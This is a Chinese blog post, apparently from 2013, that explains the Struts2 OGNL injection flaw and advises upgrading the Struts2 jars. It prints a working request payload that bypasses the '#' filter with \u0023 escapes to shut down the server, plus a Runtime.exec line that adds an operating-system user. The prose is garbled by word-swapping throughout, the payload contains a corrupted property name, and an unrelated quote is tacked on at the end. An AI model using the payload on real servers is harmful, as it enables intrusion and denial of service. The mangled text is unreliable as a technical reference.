} } }

    struts2漏洞道理及解决办法

    添加时间:2013-7-9 点击量:

    1、道理


    Struts2的核心是应用的webwork框架，处理惩罚 action时经由过程调用底层的getter/setter办法来处理惩罚http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。提交一个http参数：


    ？user.address.city=Bishkek&user[favoriteDrink]=kumys 

    ONGL将它转换为：

    action.getUser（）.getAddress（）.setCity（Bishkek）  

    action.getUser（）.setFavoriteDrink（kumys） 


    这是经由过程ParametersInterceptor（参数过滤器）来履行的，应用用户供给的HTTP参数调用 ValueStack.setValue（）。 www.2cto.com


    为了防备批改办事器端对象，XWork的ParametersInterceptor不容许参数名中呈现“＃”字符，但若是应用了Java的 unicode字符串默示\u0023，进击者就可以绕过保护，批改保护Java体式格式履行的值：





    此处代码有破损性，请在测试景象履行，严禁用此种办法进行恶意进击

    ？（\u0023_memberAccess[\allowStaticMethodAccess\]）（meh）=true&（aaa）（（\u0023context[\xwork.MethodAccessor.denyMethodution\]\u003d\u0023foo）（\u0023foo\u003dnew％20java.lang.Boolean（false）））&（asdf）（（\u0023rt.exit（1））（\u0023rt\u003d＠java.lang.Runtime＠getRuntime（）））=1 





    转义后是如许：


    ？（＃_memberAccess[allowStaticMethodAccess]）（meh）=true&（aaa）（（＃context[xwork.MethodAccessor.denyMethodution]=＃foo）（＃foo=new％20java.lang.Boolean（false）））&（asdf）（（＃rt.exit（1））（＃rt=＠java.lang.Runtime＠getRuntime（）））=1





    OGNL处理惩罚时终极的成果就是


    java.lang.Runtime.getRuntime（）.exit（1）;  //封闭法度，即将web法度封闭


    类似的可以履行

    java.lang.Runtime.getRuntime（）.exec（ 用户名 暗码 /add）;//增长操纵体系用户，在有权限的景象下能成功（在URL顶用％20调换空格，％2F调换/）

    只要有权限就可以履行任何DOS号令。


    2、解决办法

    网上很多文章都介绍了三种解决办法，小我感觉将struts2的jar包更新到新版本最简单，不消更改任何法度代码，今朝新版本2.3.4

    到的更新包中有很多jar包，我体系中首要用到以下几个调换掉旧版本的：

    commons-lang3-3.1.jar        （保存commons-lang-2.6.jar）

    javassist-3.11.0.GA.jar        （新加包）

    ognl-3.0.5.jar            （调换旧版本）

    struts2-core-2.3.4.1.jar    （调换旧版本）

    xwork-core-2.3.4.1.jar        （调换旧版本）




    无论对感情还是对生活，“只要甜不要苦”都是任性而孩子气的，因为我们也不完美，我们也会伤害人。正因为我们都不完美，也因为生活从不是事事如意，所以对这些“瑕疵”的收纳才让我们对生活、对他人的爱变得日益真实而具体。—— 汪冰《世界再亏欠你，也要敢于拥抱幸福》
    分享到：